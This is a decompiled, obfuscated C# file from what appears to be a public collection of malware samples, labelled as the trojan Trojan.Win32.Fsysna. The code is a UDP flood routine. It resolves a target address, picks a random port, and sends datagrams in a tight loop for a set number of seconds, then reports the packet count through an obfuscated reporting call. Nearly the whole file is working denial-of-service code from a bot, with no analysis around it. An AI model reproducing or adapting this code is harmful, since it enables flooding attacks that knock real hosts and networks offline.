MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0019/_001F.cs
2022-08-18 06:28:56 -05:00

84 lines
2.5 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
using \u0003;
using \u0005;
using \u0019;
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace \u0019
{
internal class \u001F
{
[NonSerialized]
internal static \u0002 \u0001;
public static double \u0001;
public static \u0018 \u0002;
public static IPEndPoint \u0003;
public static Random \u0004;
public void \u009E([In] string obj0, [In] int obj1, [In] double obj2)
{
byte[] numArray = new byte[obj1];
try
{
\u001F.\u0003 = new IPEndPoint(\u0013\u0002.\u0087(obj0), \u007F\u0002.\u007E\u009A\u0002((object) \u001F.\u0004, 1, 65000));
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001F.\u0001(822), \u001F.\u0002.\u0005, \u001F.\u0001(934), obj0));
}
catch
{
\u001B.\u0086(\u0096.\u001E\u0002(\u001F.\u0001(822), \u001F.\u0002.\u0005, \u001F.\u0001(983)));
}
int num1 = 0;
\u001F.\u0001 = \u001F.\u009C() + obj2;
while (\u001F.\u009C() <= \u001F.\u0001)
{
try
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
int num2 = \u0081\u0002.\u007E\u008E((object) socket, numArray, numArray.Length, SocketFlags.None, (EndPoint) \u001F.\u0003);
\u009E.\u007E\u008D((object) socket);
++num1;
}
catch
{
}
}
\u001F.\u0001 = 0.0;
object[] objArray = new object[5]
{
(object) \u001F.\u0001(822),
(object) \u001F.\u0002.\u0005,
(object) \u001F.\u0001(1028),
(object) num1,
(object) \u001F.\u0001(1085)
};
\u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray));
}
public static double \u009C()
{
string str = \u0010\u0002.\u0083\u0002(\u0005\u0002.\u0082\u0002(), new DateTime(1970, 1, 1, 0, 0, 0)).TotalSeconds.ToString();
string[] strArray = \u0090.\u007E\u0016\u0002((object) str, new char[1]
{
','
});
return (double) \u008D\u0002.\u008A\u0002(strArray[0]);
}
static \u001F()
{
\u0004.\u007F();
\u001F.\u0001 = 0.0;
\u001F.\u0002 = new \u0018();
\u001F.\u0004 = new Random();
}
}
}